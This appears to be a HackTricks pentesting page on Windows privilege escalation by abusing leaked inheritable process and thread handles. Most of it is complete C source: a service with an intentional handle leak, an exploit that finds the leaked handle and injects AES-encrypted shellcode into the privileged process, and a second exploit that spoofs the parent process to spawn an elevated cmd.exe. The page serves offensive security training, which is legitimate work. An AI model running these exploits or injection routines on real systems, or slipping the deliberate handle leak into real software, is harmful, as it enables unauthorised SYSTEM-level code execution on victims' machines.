Skip to content

Latest commit

 

History

History
724 lines (544 loc) · 28.3 KB

leaked-handle-exploitation.md

File metadata and controls

724 lines (544 loc) · 28.3 KB

Leaked Handle Exploitation

🎙️ HackTricks LIVE Twitch Wednesdays 5.30pm (UTC) 🎙️ - 🎥 Youtube 🎥

Introduction

Handles in a process allow to access different Windows resources:

There have been already several privilege escalation cases where a privileged process with open and inheritable handles have run an unprivileged process giving it access to all those handles.

For example, imagine that a process running as SYSTEM open a new process (OpenProcess()) with full access. The same process also creates a new process (CreateProcess()) with low privileges but inheriting all the open handles of the main process.
Then, if you have full access to the low privileged process, you can grab the open handle to the privileged process created with OpenProcess() and inject a shellcode.

Interesting Handles

Process

As you read on the initial example if an unprivileged process inherits a process handle of a privileged process with enough permissions it will be able to execute arbitrary code on it.

In this excellent article you can see how to exploit any process handle that has any of the following permissions:

  • PROCESS_ALL_ACCESS
  • PROCESS_CREATE_PROCESS
  • PROCESS_CREATE_THREAD
  • PROCESS_DUP_HANDLE
  • PROCESS_VM_WRITE

Thread

Similar to the process handles, if an unprivileged process inherits a thread handle of a privileged process with enough permissions it will be able to execute arbitrary code on it.

In this excellent article you can also see how to exploit any process handle that has any of the following permissions:

  • THREAD_ALL_ACCESS
  • THREAD_DIRECT_IMPERSONATION
  • THREAD_SET_CONTEXT

File, Key & Section Handles

If an unprivileged process inherits a handle with write equivalent permissions over a privileged file or registry, it will be able to overwrite the file/registry (and with a lot of luck, escalate privileged).

Section Handles are similar to file handles, the common name of this kinds of objects is "File Mapping". They are used to work with big files without keeping the entire file in memory. That makes the exploitation kind of "similar" to the exploitation of a File Handle.

How to see handles of processes

Process Hacker

Process Hacker is a tool you can download for free. It has several amazing options to inspect processes and one of them is the capability to see the handles of each process.

Note that in order to see all the handles of all the processes, the SeDebugPrivilege is needed (so you need to run Process Hacker as administrator).

To see the handles of a process, right click in the process and select Handles:

You can then right click on the handle and check the permissions:

Sysinternals Handles

The Handles binary from Sysinternals will also list the handles per process in the console:

LeakedHandlesFinder

This tool allows you to monitor leaked handles and even autoexploit them to escalate privileges.

Methodology

Now that you know how to find handles of processes what you need to check is if any unprivileged process is having access to privileged handles. In that case, the user of the process could be able to obtain the handle and abuse it to escalate privileges.

{% hint style="warning" %} It was mentioned before that you need the SeDebugPrivilege to access all the handles. But a user can still access the handles of his processes, so it might be useful if you want to privesc just from that user to execute the tools with the user regular permissions.

handle64.exe /a | findstr /r /i "process thread file key pid:"

{% endhint %}

Vulnerable Example

For example, the following code belongs to a Windows service that would be vulnerable. The vulnerable code of this service binary is located inside the Exploit function. This function is starts creating a new handle process with full access. Then, it's creating a low privileged process (by copying the low privileged token of explorer.exe) executing C:\users\username\desktop\client.exe. The vulnerability resides in the fact it's creating the low privileged process with bInheritHandles as TRUE.

Therefore, this low privileges process is able to grab the handle of the high privileged process crated first and inject and execute a shellcode (see next section).

#include <windows.h>
#include <tlhelp32.h>
#include <tchar.h>
#pragma comment (lib, "advapi32")

TCHAR* serviceName = TEXT("HandleLeakSrv");
SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
HANDLE stopServiceEvent = 0;


//Find PID of a proces from its name
int FindTarget(const char *procname) {

	HANDLE hProcSnap;
	PROCESSENTRY32 pe32;
	int pid = 0;
			
	hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
			
	pe32.dwSize = sizeof(PROCESSENTRY32); 
			
	if (!Process32First(hProcSnap, &pe32)) {
			CloseHandle(hProcSnap);
			return 0;
	}
			
	while (Process32Next(hProcSnap, &pe32)) {
			if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
					pid = pe32.th32ProcessID;
					break;
			}
	}
			
	CloseHandle(hProcSnap);
			
	return pid;
}


int Exploit(void) {
	
  	STARTUPINFOA si;
  	PROCESS_INFORMATION pi;
	int pid = 0;
  	HANDLE hUserToken;
	HANDLE hUserProc;
  	HANDLE hProc;

	// open a handle to itself (privileged process) - this gets leaked!
  	hProc = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());

	// get PID of user low privileged process
	if ( pid = FindTarget("explorer.exe") ) 
		hUserProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
	else
		return -1;
	
	// extract low privilege token from a user's process
    if (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS, &hUserToken)) {
        CloseHandle(hUserProc);
        return -1;
    }

	// spawn a child process with low privs and leaked handle
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));
    CreateProcessAsUserA(hUserToken, "C:\\users\\username\\Desktop\\client.exe", 
						NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);

	CloseHandle(hProc);
	CloseHandle(hUserProc);
    return 0;
}



void WINAPI ServiceControlHandler( DWORD controlCode ) {
	switch ( controlCode ) {
		case SERVICE_CONTROL_SHUTDOWN:
		case SERVICE_CONTROL_STOP:
			serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
			SetServiceStatus( serviceStatusHandle, &serviceStatus );

			SetEvent( stopServiceEvent );
			return;

		case SERVICE_CONTROL_PAUSE:
			break;

		case SERVICE_CONTROL_CONTINUE:
			break;

		case SERVICE_CONTROL_INTERROGATE:
			break;

		default:
			break;
	}
	SetServiceStatus( serviceStatusHandle, &serviceStatus );
}

void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
	// initialise service status
	serviceStatus.dwServiceType = SERVICE_WIN32;
	serviceStatus.dwCurrentState = SERVICE_STOPPED;
	serviceStatus.dwControlsAccepted = 0;
	serviceStatus.dwWin32ExitCode = NO_ERROR;
	serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
	serviceStatus.dwCheckPoint = 0;
	serviceStatus.dwWaitHint = 0;

	serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );

	if ( serviceStatusHandle ) {
		// service is starting
		serviceStatus.dwCurrentState = SERVICE_START_PENDING;
		SetServiceStatus( serviceStatusHandle, &serviceStatus );

		// do initialisation here
		stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );

		// running
		serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
		serviceStatus.dwCurrentState = SERVICE_RUNNING;
		SetServiceStatus( serviceStatusHandle, &serviceStatus );

		Exploit();
		WaitForSingleObject( stopServiceEvent, -1 );

		// service was stopped
		serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
		SetServiceStatus( serviceStatusHandle, &serviceStatus );

		// do cleanup here
		CloseHandle( stopServiceEvent );
		stopServiceEvent = 0;

		// service is now stopped
		serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
		serviceStatus.dwCurrentState = SERVICE_STOPPED;
		SetServiceStatus( serviceStatusHandle, &serviceStatus );
	}
}


void InstallService() {
	SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );

	if ( serviceControlManager ) {
		TCHAR path[ _MAX_PATH + 1 ];
		if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
			SC_HANDLE service = CreateService( serviceControlManager,
							serviceName, serviceName,
							SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
							SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
							0, 0, 0, 0, 0 );
			if ( service )
				CloseServiceHandle( service );
		}
		CloseServiceHandle( serviceControlManager );
	}
}

void UninstallService() {
	SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );

	if ( serviceControlManager ) {
		SC_HANDLE service = OpenService( serviceControlManager,
			serviceName, SERVICE_QUERY_STATUS | DELETE );
		if ( service ) {
			SERVICE_STATUS serviceStatus;
			if ( QueryServiceStatus( service, &serviceStatus ) ) {
				if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
					DeleteService( service );
			}
			CloseServiceHandle( service );
		}
		CloseServiceHandle( serviceControlManager );
	}
}

int _tmain( int argc, TCHAR* argv[] )
{
	if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
		InstallService();
	}
	else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
		UninstallService();
	}
	else  {
		SERVICE_TABLE_ENTRY serviceTable[] = {
			{ serviceName, ServiceMain },
			{ 0, 0 }
		};
	
		StartServiceCtrlDispatcher( serviceTable );
	}	

	return 0;
}

Exploit Example 1

{% hint style="info" %} In a real scenario you probably won't be able to control the binary that is going to be executed by the vulnerable code (C:\users\username\desktop\client.exe in this case). Probably you will compromise a process and you will need to look if you can access any vulnerable handle of any privileged process. {% endhint %}

In this example you can find the code of a possible exploit for C:\users\username\desktop\client.exe.
The most interesting part of this code is located in GetVulnProcHandle. This function will start fetching all the handles, then it will check if any of them belongs to the same PID and if the handle belongs to a process. If all these requirements are completed (an accessible open process handle is found) , it try to inject and execute a shellcode abusing the handle of the process.
The injection of the shellcode is done inside the Inject function and it will just write the shellcode inside the privileged process and create a thread inside the same process to execute the shellcode).

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <wincrypt.h>
#include <psapi.h>
#include <tchar.h>
#include <tlhelp32.h>
#include "client.h"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")


int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
        HCRYPTPROV hProv;
        HCRYPTHASH hHash;
        HCRYPTKEY hKey;

        if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
                return -1;
        }
        if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
                return -1;
        }
        if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
                return -1;              
        }
        if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
                return -1;
        }
        
        if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
                return -1;
        }
        
        CryptReleaseContext(hProv, 0);
        CryptDestroyHash(hHash);
        CryptDestroyKey(hKey);
        
        return 0;
}


HANDLE GetVulnProcHandle(void) {
    
	ULONG handleInfoSize = 0x10000;
    NTSTATUS status;
    PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
	HANDLE hProc = NULL;
	POBJECT_TYPE_INFORMATION objectTypeInfo;
	PVOID objectNameInfo;
	UNICODE_STRING objectName;
    ULONG returnLength;
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    DWORD dwOwnPID = GetCurrentProcessId();
	
    pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
    pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
    pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
    pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
    pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");

    printf("[+] Grabbing handles...");

    while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
											NULL )) == STATUS_INFO_LENGTH_MISMATCH)
        phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);

    if (status != STATUS_SUCCESS)
    {
        printf("[!] NtQuerySystemInformation failed!\n");
        return 0;
    }

    printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);

    // iterate handles until we find the privileged process handle
    for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
    {
        SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];

        // Check if this handle belongs to our own process
        if (handle.UniqueProcessId != dwOwnPID)
            continue;

        objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
        if (pNtQueryObject( (HANDLE) handle.HandleValue,
						ObjectTypeInformation,
						objectTypeInfo,
						0x1000,
						NULL ) != STATUS_SUCCESS)
            continue;

		// skip some objects to avoid getting stuck
		// see: https://github.com/adamdriscoll/PoshInternals/issues/7
        if (handle.GrantedAccess == 0x0012019f
			&& handle.GrantedAccess != 0x00120189
			&& handle.GrantedAccess != 0x120089
			&& handle.GrantedAccess != 0x1A019F ) {
            free(objectTypeInfo);
            continue;
        }

		// get object name information
        objectNameInfo = malloc(0x1000);
        if (pNtQueryObject( (HANDLE) handle.HandleValue,
						ObjectNameInformation,
						objectNameInfo,
						0x1000,
						&returnLength ) != STATUS_SUCCESS) {
            
			// adjust the size of a returned object and query again
			objectNameInfo = realloc(objectNameInfo, returnLength);
            if (pNtQueryObject( (HANDLE) handle.HandleValue,
							ObjectNameInformation,
							objectNameInfo,
							returnLength,
							NULL ) != STATUS_SUCCESS) {
                free(objectTypeInfo);
                free(objectNameInfo);
                continue;
            }
        }

        // check if we've got a process object
        objectName = *(PUNICODE_STRING) objectNameInfo;
        UNICODE_STRING pProcess;

        pRtlInitUnicodeString(&pProcess, L"Process");
        if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
            printf("[+] Found process handle (%x)\n", handle.HandleValue);
            hProc = (HANDLE) handle.HandleValue;
			free(objectTypeInfo);
			free(objectNameInfo);
			break;
        }
        else
            continue;
        
        free(objectTypeInfo);
        free(objectNameInfo);
    }
	
	return hProc;
} 

int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {
	
	LPVOID pRemoteCode = NULL;
    HANDLE hThread = NULL;
	BOOL bStatus = FALSE;

	pVirtualAllocEx = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocEx");
	pWriteProcessMemory = GetProcAddress(GetModuleHandle("kernel32.dll"), "WriteProcessMemory");
	pRtlCreateUserThread = GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlCreateUserThread");
	
	pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
	pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
	
    bStatus = (BOOL) pRtlCreateUserThread(hProc, NULL, 0, 0, 0, 0, pRemoteCode, NULL, &hThread, NULL);
	if (bStatus != FALSE) {
			WaitForSingleObject(hThread, -1);
			CloseHandle(hThread);
			return 0;
	}
	else
		return -1;
}

int main(int argc, char **argv) {
	
	int pid = 0;
	HANDLE hProc = NULL;

	// AES encrypted shellcode spawning notepad.exe (ExitThread)
	char key[] = { 0x49, 0xbc, 0xa5, 0x1d, 0xa7, 0x3d, 0xd6, 0x0, 0xee, 0x2, 0x29, 0x3e, 0x9b, 0xb2, 0x8a, 0x69 };
	unsigned char payload[] = { 0x6b, 0x98, 0xe8, 0x38, 0xaf, 0x82, 0xdc, 0xd4, 0xda, 0x57, 0x15, 0x48, 0x2f, 0xf0, 0x4e, 0xd3, 0x1a, 0x70, 0x6d, 0xbf, 0x53, 0xa8, 0xcb, 0xbb, 0xbb, 0x38, 0xf6, 0x4e, 0xee, 0x84, 0x36, 0xe5, 0x25, 0x76, 0xce, 0xb0, 0xf6, 0x39, 0x22, 0x76, 0x36, 0x3c, 0xe1, 0x13, 0x18, 0x9d, 0xb1, 0x6e, 0x0, 0x55, 0x8a, 0x4f, 0xb8, 0x2d, 0xe7, 0x6f, 0x91, 0xa8, 0x79, 0x4e, 0x34, 0x88, 0x24, 0x61, 0xa4, 0xcf, 0x70, 0xdb, 0xef, 0x25, 0x96, 0x65, 0x76, 0x7, 0xe7, 0x53, 0x9, 0xbf, 0x2d, 0x92, 0x25, 0x4e, 0x30, 0xa, 0xe7, 0x69, 0xaf, 0xf7, 0x32, 0xa6, 0x98, 0xd3, 0xbe, 0x2b, 0x8, 0x90, 0x0, 0x9e, 0x3f, 0x58, 0xed, 0x21, 0x69, 0xcb, 0x38, 0x5d, 0x5e, 0x68, 0x5e, 0xb9, 0xd6, 0xc5, 0x92, 0xd1, 0xaf, 0xa2, 0x5d, 0x16, 0x23, 0x48, 0xbc, 0xdd, 0x2a, 0x9f, 0x3c, 0x22, 0xdb, 0x19, 0x24, 0xdf, 0x86, 0x4a, 0xa2, 0xa0, 0x8f, 0x1a, 0xe, 0xd6, 0xb7, 0xd2, 0x6c, 0x6d, 0x90, 0x55, 0x3e, 0x7d, 0x9b, 0x69, 0x87, 0xad, 0xd7, 0x5c, 0xf3, 0x1, 0x7c, 0x93, 0x1d, 0xaa, 0x40, 0xf, 0x15, 0x48, 0x5b, 0xad, 0x6, 0xb5, 0xe5, 0xb9, 0x92, 0xae, 0x9b, 0xdb, 0x9a, 0x9b, 0x4e, 0x44, 0x45, 0xdb, 0x9f, 0x28, 0x90, 0x9e, 0x63, 0x23, 0xf2, 0xca, 0xab, 0xa7, 0x68, 0xbc, 0x31, 0xb4, 0xf9, 0xbb, 0x73, 0xd4, 0x56, 0x94, 0x2c, 0x63, 0x47, 0x21, 0x84, 0xa2, 0xb6, 0x91, 0x23, 0x8f, 0xa0, 0x46, 0x76, 0xff, 0x3f, 0x75, 0xd, 0x51, 0xc5, 0x70, 0x26, 0x1, 0xcf, 0x23, 0xbf, 0x97, 0xb2, 0x8d, 0x66, 0x35, 0xc8, 0xe3, 0x2, 0xf6, 0xbd, 0x44, 0x83, 0xf2, 0x80, 0x4c, 0xd0, 0x7d, 0xa3, 0xbd, 0x33, 0x8e, 0xe8, 0x6, 0xbc, 0xdc, 0xff, 0xe0, 0x96, 0xd9, 0xdc, 0x87, 0x2a, 0x81, 0xf3, 0x53, 0x37, 0x16, 0x3a, 0xcc, 0x3c, 0x34, 0x4, 0x9c, 0xc6, 0xbb, 0x12, 0x72, 0xf3, 0xa3, 0x94, 0x5d, 0x19, 0x43, 0x56, 0xa8, 0xba, 0x2a, 0x1d, 0x12, 0xeb, 0xd2, 0x6e, 0x79, 0x65, 0x2a };
	unsigned int payload_len = sizeof(payload);

	printf("My PID: %d\n", GetCurrentProcessId());
	getchar();
	
	// find a leaked handle to a process
	hProc = GetVulnProcHandle();
	
	if ( hProc != NULL) {
		
		// d#Decrypt payload
		AESDecrypt((char *) payload, payload_len, key, sizeof(key));
		printf("[+] Sending gift...");
		// Inject and run the payload in the privileged context
		Inject(hProc, payload, payload_len);
		printf("done.\n");
	}
	getchar();

    return 0;
}

Exploit Example 2

{% hint style="info" %} In a real scenario you probably won't be able to control the binary that is going to be executed by the vulnerable code (C:\users\username\desktop\client.exe in this case). Probably you will compromise a process and you will need to look if you can access any vulnerable handle of any privileged process. {% endhint %}

In this example, instead of abusing the open handle to inject and execute a shellcode, it's going to be used the token of the privileged open handle process to create a new one. This is done in lines from 138 to 148.

Note how the function UpdateProcThreadAttribute is used with the attribute PROC_THREAD_ATTRIBUTE_PARENT_PROCESS and the handle to the open privileged process. This means that the created process thread executing _cmd.exe_** will have the same token privilege as the open handle process**.

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <wincrypt.h>
#include <psapi.h>
#include <tchar.h>
#include <tlhelp32.h>
#include "client.h"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")


HANDLE GetVulnProcHandle(void) {
    
	ULONG handleInfoSize = 0x10000;
    NTSTATUS status;
    PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
	HANDLE hProc = NULL;
	POBJECT_TYPE_INFORMATION objectTypeInfo;
	PVOID objectNameInfo;
	UNICODE_STRING objectName;
    ULONG returnLength;
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    DWORD dwOwnPID = GetCurrentProcessId();
	
    pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
    pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
    pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
    pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
    pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");

    printf("[+] Grabbing handles...");

    while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
											NULL )) == STATUS_INFO_LENGTH_MISMATCH)
        phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);

    if (status != STATUS_SUCCESS)
    {
        printf("[!] NtQuerySystemInformation failed!\n");
        return 0;
    }

    printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);

    // iterate handles until we find the privileged process handle
    for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
    {
        SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];

        // Check if this handle belongs to our own process
        if (handle.UniqueProcessId != dwOwnPID)
            continue;

        objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
        if (pNtQueryObject( (HANDLE) handle.HandleValue,
						ObjectTypeInformation,
						objectTypeInfo,
						0x1000,
						NULL ) != STATUS_SUCCESS)
            continue;

		// skip some objects to avoid getting stuck
		// see: https://github.com/adamdriscoll/PoshInternals/issues/7
        if (handle.GrantedAccess == 0x0012019f
			&& handle.GrantedAccess != 0x00120189
			&& handle.GrantedAccess != 0x120089
			&& handle.GrantedAccess != 0x1A019F ) {
            free(objectTypeInfo);
            continue;
        }

		// get object name information
        objectNameInfo = malloc(0x1000);
        if (pNtQueryObject( (HANDLE) handle.HandleValue,
						ObjectNameInformation,
						objectNameInfo,
						0x1000,
						&returnLength ) != STATUS_SUCCESS) {
            
			// adjust the size of a returned object and query again
			objectNameInfo = realloc(objectNameInfo, returnLength);
            if (pNtQueryObject( (HANDLE) handle.HandleValue,
							ObjectNameInformation,
							objectNameInfo,
							returnLength,
							NULL ) != STATUS_SUCCESS) {
                free(objectTypeInfo);
                free(objectNameInfo);
                continue;
            }
        }

        // check if we've got a process object
        objectName = *(PUNICODE_STRING) objectNameInfo;
        UNICODE_STRING pProcess;

        pRtlInitUnicodeString(&pProcess, L"Process");
        if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
            printf("[+] Found process handle (%x)\n", handle.HandleValue);
            hProc = (HANDLE) handle.HandleValue;
			free(objectTypeInfo);
			free(objectNameInfo);
			break;
        }
        else
            continue;
        
        free(objectTypeInfo);
        free(objectNameInfo);
    }
	
	return hProc;
} 


int main(int argc, char **argv) {
	
	HANDLE hProc = NULL;
    STARTUPINFOEXA si;
    PROCESS_INFORMATION pi;
	int pid = 0;
	SIZE_T size;
	BOOL ret;

	Sleep(20000);
	// find leaked process handle
	hProc = GetVulnProcHandle();

	if ( hProc != NULL) {

		// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
		ZeroMemory(&si, sizeof(STARTUPINFOEXA));

		InitializeProcThreadAttributeList(NULL, 1, 0, &size);
		si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(), 0, size );
		
		InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
		UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);

		si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
		
		// Spawn elevated cmd process
		ret = CreateProcessA( "C:\\Windows\\system32\\cmd.exe", NULL, NULL, NULL, TRUE, 
			EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOA)(&si), &pi );

		if (ret == FALSE) {
			printf("[!] Error spawning new process: [%d]\n", GetLastError());
			return -1;
		}
	}
	
	Sleep(20000);
    return 0;
}

Other tools and examples

This tool allows you to monitor leaked handles to find vulnerable ones and even auto-exploit them. It also has a tool to leak one.

Another tool to leak a handle and exploit it.

References

🎙️ HackTricks LIVE Twitch Wednesdays 5.30pm (UTC) 🎙️ - 🎥 Youtube 🎥